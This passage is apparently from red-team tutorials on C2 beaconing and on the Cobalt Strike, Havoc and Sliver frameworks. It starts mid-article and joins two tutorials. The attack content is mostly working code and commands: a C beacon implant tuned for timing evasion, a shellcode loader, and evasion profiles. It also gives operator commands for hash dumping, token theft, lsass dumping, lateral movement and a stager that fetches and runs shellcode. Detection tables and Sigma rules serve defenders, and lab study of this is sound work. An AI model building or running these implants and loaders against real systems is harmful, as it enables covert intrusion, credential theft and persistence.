Cobalt Strike accepts jitter values 0 through 99. In practice, anything below 15% is still fairly detectable by RITA. For initial access, 40-60% jitter during the first 24 to 72 hours is a reasonable starting point.

The C Implementation

#include <windows.h>

// RtlRandomEx is exported by ntdll.dll
extern ULONG NTAPI RtlRandomEx(PULONG Seed);

DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
    if (jitter_pct == 0) return base_ms;
    DWORD range = (base_ms * jitter_pct) / 100;
    DWORD rnd   = RtlRandomEx(seed) % (range * 2 + 1);
    return (base_ms - range) + rnd;
}

RtlRandomEx is available from user mode without any special stubs on all modern Windows versions. Link against ntdll.lib (or -lntdll with MinGW). If you want to avoid the import, seed rand() with GetTickCount(), but the randomness quality is worse.

Abstract illustration contrasting perfectly uniform beacon intervals on the left with randomized jittered intervals on the right, symbolizing the difference between detectable and stealthy beaconing cadence
Zero-percent jitter produces a perfectly periodic signal that autocorrelation catches trivially; even modest jitter breaks the uniform pattern.

4. Phase-Aware Beaconing

A flat 30-second sleep for the entire engagement is operationally stupid. Real operators shift cadence by phase:

PhaseSleepJitterRationale
Initial access (0-72h)60-180s40-60%Validate the foothold without flooding anomaly detection
Active lateral movement5-15s20-30%Operator needs responsiveness during a session
Idle / persistence300-900s50-70%Minimize traffic volume when no tasks are queued
Outside working hours600s+ or pause entirelyN/AWorkstations don’t phone home at 3 AM to random IPs

Working-hours gating is simple to implement and dramatically reduces the beacon’s exposure window. We’ll add it to the lab implant in Step 6 below.

5. Protocol Selection and Traffic Shaping

The protocol you pick depends on what egress the target environment allows.

ChannelWhen to use itDetection surface
HTTP/S (WinHttpOpen / WinHttpSendRequest)Default; nearly always allowed outboundJA3 fingerprint, header ordering, URI patterns, certificate inspection
DNS (DnsQuery_A)When HTTP egress is locked down; very slowSysmon EID 22; high query volume to a single domain; long subdomain labels
SMB named pipePeer-to-peer lateral within a network; no egress neededSysmon EID 17/18; default pipe names like msagent_*
Raw TCP (connect / send / recv)Custom protocols; rare in mature environmentsUnusual ports; unrecognized protocol on wire

For HTTP/S, the beacon’s User-Agent, header order, and TLS fingerprint matter. Out-of-the-box Go implants (Sliver) present a JA3 hash matching crypto/tls that public databases flag within days. Malleable C2 profiles exist to control all of this.

6. Lab: Build a Minimal C Beacon and Catch It

Lab Setup

  • Attacker VM: Kali or Ubuntu with Python 3 + Flask installed. This runs the listener.
  • Victim VM: Windows 10/11 with Sysmon installed (SwiftOnSecurity config), Wireshark running.
  • Network: Host-only or NAT network. The two VMs can reach each other on TCP 8080.

Step 1: Write the Listener

from flask import Flask, request
import datetime, json

app = Flask(__name__)

@app.route("/api/v1/status", methods=["GET"])
def checkin():
    ts = datetime.datetime.utcnow().isoformat()
    ua = request.headers.get("User-Agent", "unknown")
    print(f"[+] {ts}  src={request.remote_addr}  UA={ua}")
    return json.dumps({"task": "none"}), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

Start it: python3 listener.py. Every beacon check-in prints a timestamped line.

Step 2: Write the Implant

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

// ntdll imports
extern ULONG NTAPI RtlRandomEx(PULONG Seed);
typedef NTSTATUS (NTAPI *pfnNtDelayExecution)(BOOLEAN, PLARGE_INTEGER);

DWORD compute_sleep(DWORD base_ms, DWORD jitter_pct, PULONG seed) {
    if (jitter_pct == 0) return base_ms;
    DWORD range = (base_ms * jitter_pct) / 100;
    DWORD rnd   = RtlRandomEx(seed) % (range * 2 + 1);
    return (base_ms - range) + rnd;
}

BOOL checkin(LPCWSTR host, INTERNET_PORT port, LPCWSTR path) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession) return FALSE;

    HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
    if (!hConnect) { WinHttpCloseHandle(hSession); return FALSE; }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
        NULL, WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES, 0);

    BOOL ok = WinHttpSendRequest(hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    if (ok) WinHttpReceiveResponse(hRequest, NULL);

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    return ok;
}

int main(void) {
    DWORD base_ms    = 30000;  // 30-second base interval
    DWORD jitter_pct = 25;     // +/- 25%
    ULONG seed       = GetTickCount();

    // Resolve NtDelayExecution for evasive sleep
    pfnNtDelayExecution pDelay = (pfnNtDelayExecution)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

    while (1) {
        checkin(L"192.168.56.10", 8080, L"/api/v1/status");

        DWORD sleep_ms = compute_sleep(base_ms, jitter_pct, &seed);

        if (pDelay) {
            LARGE_INTEGER li;
            li.QuadPart = -(LONGLONG)sleep_ms * 10000;  // ms -> 100ns
            pDelay(FALSE, &li);
        } else {
            Sleep(sleep_ms);  // fallback
        }
    }
}

Step 3: Cross-Compile

x86_64-w64-mingw32-gcc beacon.c -o beacon.exe -lwinhttp -lntdll -mwindows

Copy beacon.exe to the Windows VM and run it. You should see check-in lines appearing on the listener console at roughly 22 to 37 second intervals (30s +/- 25%).

Step 4: Capture and Analyze Timing

On the victim VM, capture traffic with Wireshark or on the attacker side with tshark:

tshark -r beacon.pcapng -Y "http.request.method == GET" \
    -T fields -e frame.time_relative -e http.host -e http.request.uri

Compute inter-arrival deltas. With 0% jitter (change the code, recompile, rerun) the delta column is a flat 30.0, 30.0, 30.0. Trivially detectable. With 25% jitter, you get 26.4, 33.1, 22.8, 29.7. Still detectable by statistical analysis, but no longer by a simple “fixed interval” rule.

Step 5: Add Working-Hours Gating

Insert this at the top of the while loop:

SYSTEMTIME st;
GetLocalTime(&st);
if (st.wHour < 9 || st.wHour >= 17) {
    Sleep(600000);   // 10-minute idle outside business hours
    continue;
}

Now the beacon goes nearly silent outside 09:00 to 17:00. Rerun and confirm in the capture: traffic drops to one connection every 10 minutes after 5 PM.

Step 6: Feed to RITA

Export the capture as Zeek logs (or run Zeek directly on the attacker interface), then import:

zeek -r beacon.pcapng
rita import ./ lab_beacon
rita show-beacons lab_beacon

RITA scores beaconing by analyzing connection frequency, byte-count regularity, and interval consistency. Even with 25% jitter, our beacon scores high because the byte counts are uniform and the connection count is elevated. The data_jitter concept (padding responses with random null bytes) exists specifically to defeat this byte-count analysis.


7. Cobalt Strike Malleable C2 Profiles: Field-by-Field

A Malleable C2 profile controls every byte of beacon traffic. The key global fields:

set sleeptime "60000";        # ms between check-ins
set jitter    "37";           # percentage variance
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "128";        # random null-byte padding on responses (bytes)
set maxdns    "255";          # max DNS label length for DNS beacons
set pipename  "msagent_###";  # SMB pipe name; ### = random hex
set sleep_mask "true";        # obfuscate beacon in-memory during sleep

The profile then defines http-get and http-post blocks that control the request/response structure:

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            base64url;
            header "Cookie";   # encoded host metadata goes into Cookie header
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;             # task data in response body
        }
    }
}

Metadata encoding options are base64, base64url, netbios, and netbiosu. Termination statements (where to place the encoded data) are print (body), header, parameter, and uri-append.

Validate every profile with c2lint before loading. A profile that fails c2lint can break staging or cause the beacon to crash on check-in. I have seen profiles pass c2lint on 4.5 and silently break on 4.7 because of tightened validation, so always test against the exact version you’re running.


8. Defensive Strategies and Detection

Sysmon Event IDs

Event IDNameWhat to hunt
3Network ConnectionPeriodic outbound from unusual processes; correlate Image, DestinationIp, DestinationPort
1Process CreationBeacon process lineage; download cradle command lines
22DNS QueryHigh-volume queries to a single domain; long subdomain labels (DNS beaconing)
17Pipe CreatedNamed pipes matching Cobalt Strike defaults (msagent_*, postex_*)
18Pipe ConnectedConnections to suspicious pipes (SMB lateral C2)

Sigma Rule: Periodic Outbound from LOLBin

title: Periodic Outbound HTTP from Script Host or LOLBin
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Initiated: 'true'
    Image|endswith:
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
    DestinationPort:
      - 80
      - 443
      - 8080
      - 8443
  condition: selection
  # In practice, pair with SIEM aggregation: count() by Image, DestinationIp > 10 in 1h
falsepositives:
  - Legitimate update mechanisms
level: medium
tags:
  - attack.command_and_control
  - attack.t1071.001

Note: the count() by ... > 10 aggregation requires SIEM-level correlation (Elastic EQL, Splunk stats, or Sentinel KQL). Pure Sigma handles the filter; the aggregation is a SIEM rule on top.

ETW Providers Worth Enabling

ProviderWhat it gives you
Microsoft-Windows-WinHttpFull WinHTTP request lifecycle, catches WinHttpSendRequest calls
Microsoft-Windows-DNS-ClientDNS queries at the resolver level; pairs with Sysmon EID 22
Microsoft-Windows-TCPIPTCP state changes for raw-socket beacons

Network-Level Detection

RITA (rita show-beacons) remains the single most effective tool for identifying beaconing in Zeek logs. It scores connections by interval regularity, byte-count consistency, and connection count. Even heavily jittered beacons with uniform response sizes score high.

JA3/JA3S fingerprinting catches default TLS stacks. Compare hashes against ja3er.com; a Go crypto/tls fingerprint from a process that isn’t a known Go application is a strong signal.

Hardening Checklist

  • Block direct-to-internet TCP 80/443 from non-browser processes at the firewall.
  • Perform TLS inspection at the proxy; flag unknown JA3 hashes.
  • Sinkhole domains registered fewer than 30 days ago via DNS RPZ.
  • Hunt for Cobalt Strike default pipe names with Sysmon EID 17.
  • Baseline outbound connections by hour; alert on after-hours traffic to uncategorized destinations.
  • Run pe-sieve or Moneta periodically to detect RWX regions characteristic of in-memory beacons, even when sleep_mask is enabled.

Hierarchy diagram showing three detection layers for C2 beaconing: host layer with Sysmon event IDs 3, 22, and 17/18; network layer with RITA beacon scoring and JA3 TLS fingerprinting; and memory layer with RWX region scanning via pe-sieve
Stacking host, network, and memory detection layers forces an attacker to defeat all three simultaneously to sustain long-term beaconing.

9. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Web Protocols (HTTP/S beaconing)T1071.001Sysmon EID 3, proxy logs, RITA
DNS (DNS beaconing)T1071.004Sysmon EID 22, DNS query volume analysis
Encrypted ChannelT1573JA3 fingerprinting, TLS inspection
Standard Encoding (Base64 in headers)T1132.001Payload inspection at proxy
Non-Standard Encoding (netbios encoding)T1132.002Deep packet inspection
Domain FrontingT1090.004CDN log correlation, SNI vs Host header mismatch
Non-Application Layer ProtocolT1095Firewall logs, protocol anomaly detection

10. Tools

ToolDescriptionLink
RITABeacon detection via Zeek log analysisgithub.com/activecm/rita
ZeekNetwork traffic analysis; generates conn.log for timing analysiszeek.org
Wireshark / tsharkPacket capture and protocol dissectionwireshark.org
SysmonWindows system monitor; EID 3/17/22 are criticaldocs.microsoft.com
pe-sieveIn-memory beacon detection; scans for suspicious PE regionsgithub.com/hasherezade/pe-sieve
MonetaMemory scanner for RWX regions and beacon artifactsgithub.com/forrest-orr/moneta
ja3er.comJA3 fingerprint database for TLS client identificationja3er.com
c2lintCobalt Strike profile validatorBundled with Cobalt Strike
x86_64-w64-mingw32-gccMinGW cross-compiler for building Windows implants on Linuxmingw-w64.org

Summary

  • A beacon is a timed loop: wake, check in, sleep. The sleep interval, jitter percentage, and protocol choice determine how long it survives.
  • Zero-percent jitter is an instant detection. Even moderate jitter (25%) gets caught by RITA’s statistical scoring. Combine high jitter (40%+) with data_jitter (variable response padding) and working-hours gating to reduce exposure.
  • NtDelayExecution replaces Sleep to dodge kernel32 hooks, but the network traffic pattern remains the real detection surface.
  • Malleable C2 profiles control every byte on the wire: sleeptime, jitter, data_jitter, User-Agent, header ordering, metadata encoding, and pipe names. Always validate with c2lint.
  • Defenders win by correlating layers: Sysmon EID 3 (network connections) and EID 22 (DNS queries) on the host, RITA and JA3 fingerprinting on the network, and pe-sieve/Moneta in memory. No single layer catches everything, but stacking them makes sustained beaconing very expensive for the operator.

Related Tutorials

References

Introduction to C2 Frameworks: Cobalt Strike, Havoc, and Sliver

You’ve got initial access. A shellcode loader ran, a callback lit up your listener, and now a beacon is sleeping on a Windows Server VM waiting for orders. What actually happens between “I have a session” and “I have DA” is where a Command and Control framework earns its keep. This tutorial walks through the three that matter today, Cobalt Strike, Havoc, and Sliver, from architecture down to real operator commands run against a lab range. I’ll show you where each one shines, where the defender picks it up, and how to reproduce every step yourself.

A quick point of view up front: pick the framework that fits the objective, not the other way around. Cobalt Strike is still the gold standard for mature red team ops because of its BOF ecosystem and malleable profiles, but it costs real money and its default artifacts are the most heavily signatured in the industry. Havoc is what happens when someone writes a modern open-source implant with genuine evasion tradecraft baked in (Ekko sleep, indirect syscalls, hardware breakpoint AMSI patching). Sliver is the boring, reliable workhorse: cross-platform Go, mTLS by default, gRPC multiplayer that just works. You’ll want all three in muscle memory.


1. What a C2 Framework Actually Is

A C2 framework is three things glued together: a team server the operator controls, an implant running on the target, and a listener protocol that ferries tasks and results between them. Everything else (profiles, BOFs, pivoting, sleep obfuscation) is a feature layered on top of that triangle.

TermWhat it actually does
Team ServerAttacker-side hub that accepts operator clients, hosts listeners, queues tasks, and receives implant callbacks
Implant / AgentThe code running on the target, calling home on a schedule or persistent socket
ListenerServer-side handler bound to a port and protocol (HTTP, HTTPS, DNS, SMB pipe, mTLS, WireGuard)
Beacon modeImplant sleeps, wakes on interval, fetches tasks, executes, returns to sleep. Asynchronous
Session modePersistent interactive connection. Synchronous, real-time, easier to catch
StagingSmall initial shellcode pulls the full implant from the C2 over the wire
StagelessFull implant embedded in the first payload. Larger, but no second-stage network fetch
Malleable / Yaotl profileOperator-authored config controlling HTTP shape, headers, URIs, sleep, jitter, evasion knobs
JitterRandomization percentage on sleep. Breaks the periodic beacon rhythm that netflow analytics love
BOF (Beacon Object File)Small position-independent COFF executed in-process. No child process artifacts
RedirectorNginx or Apache in front of the team server, so the implant never touches the real C2 IP

Two concepts do most of the work in operator tradecraft: the beacon/session split (how loud you are on the wire) and the profile (what your traffic looks like when it does go out). Get those two right and half the detection surface disappears.


Diagram showing the C2 framework triangle: operator client connecting to team server, team server hosting a listener behind a redirector, and the implant on the target calling back through the redirector
Every C2 framework reduces to three primitives – team server, listener, and implant – with a redirector hiding the real C2 IP from defenders.

2. Lab Topology

Nothing here goes on the internet. Everything is host-only, reset from snapshots between runs.

ComponentSpecification
Attacker VMKali 2024.x or Ubuntu 22.04, 4 GB RAM, host-only network
Victim VMWindows Server 2022 Evaluation, Defender off for the first exercises, re-enabled for evasion runs
MonitoringSysmon v15 with SwiftOnSecurity config, Winlogbeat forwarding to Elastic + Kibana on the attacker box (or a third VM)
NetworkSingle host-only subnet, e.g. 192.168.56.0/24. Attacker .10, victim .20

Install Sysmon on the victim before you start anything:

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "C:\Tools\Sysmon.zip"
Expand-Archive C:\Tools\Sysmon.zip -DestinationPath C:\Tools\Sysmon
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" -OutFile C:\Tools\Sysmon\sysmon.xml
C:\Tools\Sysmon\Sysmon64.exe -accepteula -i C:\Tools\Sysmon\sysmon.xml

Confirm the service is up with Get-Service Sysmon64 and open Applications and Services Logs > Microsoft > Windows > Sysmon > Operational in Event Viewer. Every screenshot in this tutorial assumes those events are flowing.


3. Cobalt Strike Architecture

Cobalt Strike was written by Raphael Mudge in 2012 and is now maintained by Fortra. The whole product is a single Java JAR that runs as either a team server or a client depending on arguments. The team server listens on TCP 50050 for operator clients by default and hosts one or more listeners for beacon callbacks.

The Beacon implant is the crown jewel. It is in-memory, reflectively loaded shellcode that supports HTTP, HTTPS, DNS, SMB named pipes, and forward/reverse TCP. Beacons can daisy-chain, meaning a beacon on host A can proxy the C2 traffic of a beacon on host B through an SMB pipe. That is how internal networks with tight egress rules get fully covered from a single external callback.

Configuration lives in Malleable C2 profiles. This is the file that decides what a Beacon HTTP request looks like on the wire. Change the URI, forge the headers, encode the tasks inside a fake image, tune the sleep. The .cobaltstrike.beacon_keys file in the team server directory holds the RSA keypair. If two Beacons decrypt with the same public key, they came from the same keystore, which is exactly what threat intel teams pivot on when they cluster CS infrastructure.

The extensibility story is Aggressor Script (.cna files, a Java-like DSL) for automation and the Artifact Kit for building custom shellcode loaders when Fortra’s defaults get signatured (they always do).

ComponentPurpose
teamserverBash wrapper that launches the JAR in server mode on TCP 50050
cobaltstrike (client)Same JAR, GUI mode, connects to team server
BeaconIn-memory implant, staged or stageless
Malleable C2 profileWire-shape and sleep configuration
Aggressor Script.cna scripts extending the client and Beacon
Artifact KitSource project for custom loader/shellcode wrappers
ExternalC2Named-pipe API for third-party transports

MITRE tracks Cobalt Strike as S0154 and lists over 30 named threat groups actively abusing cracked copies. Every default artifact this framework emits, pipe names, spawn-to processes, JARM fingerprints, is public knowledge. Assume the blue team knows all of them.


4. Cobalt Strike Hands-On

Assuming a licensed copy in ~/cobaltstrike/, on the attacker VM:

cd ~/cobaltstrike
sudo ./teamserver 192.168.56.10 'LabPassw0rd!' ./profiles/webbug_getonly.profile
# Team server binds TCP 50050 for the client
./cobaltstrike client &

Connect the client to 192.168.56.10:50050. In the GUI: Cobalt Strike > Listeners > Add, pick windows/beacon_https, host 192.168.56.10, port 443.

Generate a stageless raw shellcode payload: Attacks > Packages > Windows Stageless Payload > x64 > Raw > Save as beacon.bin.

Now the lab loader. This is the classic four-API shellcode runner (VirtualAlloc, RtlCopyMemory, VirtualProtect, CreateThread). Compile with mingw on Kali:

// loader.c - lab shellcode runner. Not production. Not evasion-grade.
#include <windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
    if (argc != 2) { printf("usage: %s beacon.bin\n", argv[0]); return 1; }
    FILE* f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END); long sz = ftell(f); rewind(f);
    unsigned char* sc = (unsigned char*)malloc(sz);
    fread(sc, 1, sz, f); fclose(f);

    LPVOID mem = VirtualAlloc(NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlCopyMemory(mem, sc, sz);
    DWORD oldp = 0;
    VirtualProtect(mem, sz, PAGE_EXECUTE_READ, &oldp);
    HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
    WaitForSingleObject(h, INFINITE);
    return 0;
}
x86_64-w64-mingw32-gcc loader.c -o loader.exe -s
# Transfer loader.exe + beacon.bin to the victim VM

Run loader.exe beacon.bin on the victim. Within one sleep cycle the Beacon appears in the client. Right-click, Interact, and drive it:

beacon> sleep 5 20
beacon> shell whoami /all
beacon> ps
beacon> inject 4728 x64 https_listener
beacon> hashdump
beacon> jump psexec64 WIN-DC01 https_listener
beacon> link 192.168.56.30 status_9c1a

The link at the end is the SMB pipe peer beacon. From now on the beacon on 192.168.56.30 egresses through the first host. No new outbound connection appears from the internal box, which is exactly the point.

The Malleable knobs that matter most:

set sleeptime "5000";
set jitter    "20";

http-get {
    set uri "/updates";
    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
        metadata { base64url; prepend "session="; header "Cookie"; }
    }
}
http-post { set uri "/submit.php"; }

Change the URI, and half the community Sigma rules stop firing. Change the pipe names in stage.smb_frame_header and default pipe rules go blind too. That is the whole point of malleable configs, and it is also why blue teams rely less on static signatures than they used to.


5. Havoc Framework Architecture

Havoc was released in October 2022 by C5pider. The team server is Go with an encrypted WebSocket operator channel, and the client is a Qt GUI. The implant is called the Demon. It is written in C and assembly, ships as EXE, DLL, or raw shellcode, and communicates over HTTP(S) or SMB.

Two things make Havoc feel different from CS. First, evasion is a first-class citizen. It supports sleep obfuscation with Ekko, Ziliean, and FOLIAGE. Ekko encrypts the Demon’s memory region during sleep by kicking off a ROP chain via legitimate Windows timers, so a memory scanner that catches idle beacons finds ciphertext. It also does indirect syscalls (HellsGate/HalosGate style, resolving Nt* syscall numbers at runtime and issuing the syscall stub itself), stack duplication during sleep, and AMSI/ETW patching via hardware breakpoints (setting a DR register on AmsiScanBuffer or EtwEventWrite and using a vectored exception handler to short-circuit the call). None of that is exotic in 2024, but Havoc integrates it in one place.

Second, the wire protocol is a custom binary format with AES-256 encryption and a distinctive magic value dead beef in the first bytes of a Demon callback. That magic is a fingerprint if a defender is doing any deep packet inspection.

ComponentTechnical Detail
TeamserverGo binary, encrypted WebSocket to clients
ClientQt GUI
DemonC/ASM implant. EXE/DLL/shellcode outputs
Wire protocolCustom binary, AES-256, magic 0xdeadbeef
DemonConfig()Parses config values baked into the .data section
DemonRoutine()Main loop: connect, task, execute, sleep
Yaotl profile.yaotl file, wire shape and evasion knobs
Sleep obfuscationEkko, Ziliean, FOLIAGE
SyscallsIndirect syscalls with return-address spoofing
BOFsExecuted in-process, no child process artifacts
Token vaultIn-agent memory storage of stolen tokens

Payload generation on the team server side uses mingw-w64 cross-compilers and NASM, which means every Demon is compiled fresh, at generation time, against your config. That kills a whole class of static hash-based signatures.


Illustration of a sleeping demon implant encrypted in memory, symbolizing Havoc's Ekko sleep obfuscation and indirect syscall evasion techniques
Havoc’s Demon encrypts its own memory region during sleep via a ROP-timer chain, rendering idle memory scans blind to its presence.

6. Havoc Hands-On

Build and start:

git clone https://github.com/HavocFramework/Havoc && cd Havoc
sudo apt install -y mingw-w64 nasm python3-dev qtbase5-dev libqt5websockets5-dev
make ts-build && make client-build

Yaotl profile (havoc.yaotl) with the evasion knobs turned on:

Teamserver {
    Host = "0.0.0.0"
    Port = 40056
}

Listeners {
    Http {
        Name    = "https-lab"
        Hosts   = [ "192.168.56.10" ]
        Port    = 443
        Secure  = true
        UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    }
}

Demon {
    Sleep  = 5
    Jitter = 30
    Injection {
        Technique = "Ekko"
        Spawn64   = "C:\\Windows\\System32\\svchost.exe"
    }
}
sudo ./havoc server --profile havoc.yaotl
./havoc client   # in another terminal, connect to 192.168.56.10:40056

In the GUI: Payload > Generate > Demon, format Shellcode, arch x64, listener https-lab, save as demon.bin.

Reuse the same loader.c from the CS section. Copy loader.exe and demon.bin to the victim, run it, and watch the Demon check in. The first 4 bytes of that HTTPS body decrypt to 0xDEADBEEF. Blue side: this is your JA3/JA4 client-hello + payload-magic combo detection.

Drive it:

demon> sysinfo
demon> ps
demon> shell whoami
demon> token steal 640
demon> token list
demon> inject spawn 4432 /root/loot/stage2.bin
demon> dotnet inline-execute /opt/tools/Seatbelt.exe -group=all
demon> bof /opt/bofs/dir-list.o C:\\Users
demon> spawndll 2648 /root/loot/demon.dll

bof is the important one to internalize. Havoc executes Beacon Object Files (Cobalt Strike’s BOF format) directly in-process. No rundll32, no cmd.exe, no child process telemetry, which means Sysmon EID 1 detections for enumeration commands go dark. dotnet inline-execute does the same thing for .NET assemblies, roughly equivalent to CS execute-assembly.

The Python API bridge lets you hook agent checkins:

# hook_checkin.py loaded via Havoc's Python extension interface
def on_agent_checkin(agent):
    print(f"[+] new demon: {agent.NameID} on {agent.Hostname}")
    agent.console_task("shell whoami")

A short war story: the first time I ran Ekko sleep against a memory scanner in the lab, I still got caught, because I forgot the loader itself allocated an RWX region that never got re-protected. Ekko encrypts the Demon’s own image, not the parent loader’s leftovers. The lesson is that a good implant sitting inside a stupid loader still burns. Fix the loader.


7. Sliver Architecture

Sliver comes from Bishop Fox and is written entirely in Go. The server binary manages a BoltDB instance (sliver.db) for implant configs, tasks, and loot. Operators talk to it over mTLS/gRPC. Every implant is compiled at generation time with per-binary asymmetric encryption keys, so cross-implant key reuse (the CS beacon_keys clustering trick) does not work against Sliver.

Transports: HTTP, HTTPS, mTLS (default port 8888), DNS, and WireGuard. WireGuard is worth calling out. The implant brings up the WG tunnel only during check-in, exchanges tasks, tears it down. To network monitoring it looks like brief encrypted UDP bursts to a single peer.

Two modes: Beacon (async, quiet) and Session (persistent, interactive). You can promote a beacon to a session mid-op with interactive and back with background.

ComponentPurpose
sliver-serverGo binary, gRPC + BoltDB + listener host
sliver-clientmTLS/gRPC operator client
ImplantStatically compiled Go binary (~16 MB) or raw shellcode
TransportsmTLS, HTTP(S), DNS, WireGuard
Canary domainsCompile-time domains that trip external DNS if a defender reverses the implant
ArmoryPackage manager for BOFs and extensions
SOCKS5Built-in socks5 start command for pivoting
StagersInterop with msfvenom via stage-listener

Canary domains are a nice defender concession by Bishop Fox: bake a unique domain into the implant at generate-time, and if that domain ever resolves against your DNS, someone reversed your implant. It flips the informational asymmetry.


Flow diagram showing a Sliver implant bringing up a WireGuard tunnel, wrapping mTLS traffic to the sliver-server, exchanging tasks, then tearing the tunnel down, with the operator connected via gRPC
Sliver’s WireGuard transport appears as brief encrypted UDP bursts to network monitors, with per-binary mTLS keys preventing cross-implant clustering.

8. Sliver Hands-On

Install and launch:

curl https://sliver.sh/install | sudo bash
sudo sliver-server

Inside the console:

[server] sliver > mtls --lport 8888
[server] sliver > generate beacon \
    --mtls 192.168.56.10:8888 \
    --os windows --arch amd64 \
    --format exe \
    --seconds 30 --jitter 20 \
    --evasion \
    --save /tmp/beacon.exe

[server] sliver > generate beacon \
    --mtls 192.168.56.10:8888 \
    --os windows --arch amd64 \
    --format shellcode \
    --save /tmp/beacon.bin

The --format shellcode output is raw PIC you feed into the same lab loader. The .exe output is 16 MB of statically-compiled Go, which is huge and obvious. In real ops you almost always want the shellcode variant loaded from a smaller stub, not the raw exe.

Deliver and interact:

[server] sliver > beacons
[server] sliver > use 2c14a2f0
[beacon] sliver > whoami
[beacon] sliver > ps -T
[beacon] sliver > ls C:\\Users
[beacon] sliver > interactive
[session] sliver > shell
[session] sliver > socks5 start --lport 1080
[session] sliver > wg-portfwd add --remote 192.168.56.30:3389

socks5 gives you a local SOCKS proxy on 127.0.0.1:1080 on the attacker box. Point proxychains at it and pivot BloodHound, impacket-secretsdump, whatever, through the implant.

Armory is Sliver’s package manager for community extensions:

[server] sliver > armory install all
[beacon] sliver > sa-whoami
[beacon] sliver > nanodump --pid 660 --write C:\\Windows\\Temp\\dump.dmp

For staged delivery from Metasploit, Sliver plays nicely:

msfvenom -p windows/x64/custom/reverse_winhttp \
    LHOST=192.168.56.10 LPORT=9999 -f exe -o stager.exe
[server] sliver > profiles new --mtls 192.168.56.10:8888 --format shellcode win-x64
[server] sliver > stage-listener --url http://192.168.56.10:9999 --profile win-x64

The msfvenom stager pulls the Sliver implant shellcode over HTTP and reflectively loads it. Small first stage, full implant delivered on demand.


9. Framework Comparison

FeatureCobalt StrikeHavocSliver
LicenseCommercial (Fortra)Open sourceOpen source
LanguageJava (server/client), C (Beacon)Go, C++, Qt, C/ASMGo
TransportsHTTP(S), DNS, SMB pipe, TCPHTTP(S), SMBmTLS, HTTP(S), DNS, WireGuard
Default operator portTCP 50050TCP 40056 (configurable)TCP 31337 (configurable)
Sleep obfuscationVia BOF (community)Ekko / Ziliean / FOLIAGE built-in--evasion flag, community
Indirect syscallsVia BOFBuilt-inCommunity modules
BOF supportNative (invented it)NativeVia Armory (COFFLoader)
ScriptingAggressor .cnaPython APIGo extensions, aliases
Detection profileHighest (most signatured)Moderate, evolvingModerate, well-studied
MITRE Software IDS0154Not cataloguedS0633

Rough operator heuristic: if the engagement demands the strongest post-ex ergonomics and a proper Aggressor-driven workflow, Cobalt Strike still wins. If you need modern evasion out of the box on a zero-budget engagement, Havoc. If you need cross-platform reach and quiet transports (WireGuard, mTLS), Sliver.


10. Common Attacker Techniques

TechniqueDescription
Reflective loader / in-memory implantShellcode maps a PE into RWX/RX memory without touching disk
BOF executionCOFF object runs in the implant’s own process, no child artifacts
Named pipe pivotPeer beacon on \\.\pipe\<name> egresses through parent implant, no new outbound
Token theft / impersonationsteal_token / make_token for lateral movement as another user
execute-assembly / dotnet inline-executeLoad .NET assembly in-process to run offensive C# tooling
Sleep obfuscation (Ekko)ROP-timer chain encrypts implant memory while sleeping
Indirect syscalls (HellsGate)Resolve Nt* SSNs at runtime, bypass user-mode API hooks
AMSI/ETW patchingHardware breakpoints or memory patch to blind runtime telemetry
DNS C2Encrypted task data smuggled in TXT / A record queries
SOCKS5 pivotingTurn the implant into a network proxy for the operator’s tools

11. Detection and Defense

11.1 Sysmon Signals to Watch

Event IDWhat C2 activity produces it
1 (Process Create)Weird parent-child (svchost.exe -> cmd.exe), spawn-to processes from Beacon, rundll32 with no DLL args
3 (Network Connect)Periodic outbound from LOLBins (rundll32.exe, regsvr32.exe, msbuild.exe), non-standard ports
7 (Image Load)Unsigned or anomalous DLLs into common processes
8 (CreateRemoteThread)Classic injection, source and target process mismatch
10 (Process Access)TargetImage: lsass.exe with GrantedAccess: 0x1010 or 0x1410
17/18 (Pipe Created/Connected)Default Cobalt Strike pipes (MSSE-*, postex_*, status_*, msagent_*) or Havoc UUID-named pipes
22 (DNS Query)High-entropy subdomains, high query volume to a single zone (Sliver DNS C2 is loud)

11.2 Sigma Rule for Beaconing LOLBins

title: Suspicious Periodic Network Connect From LOLBin
id: 8a1d6c50-2c9c-4d1d-9b8f-3c9a7fb1c1b5
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    Initiated: 'true'
    Image|endswith:
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\msbuild.exe'
      - '\svchost.exe'
    DestinationPort|not:
      - 80
      - 443
      - 53
  condition: selection
level: high

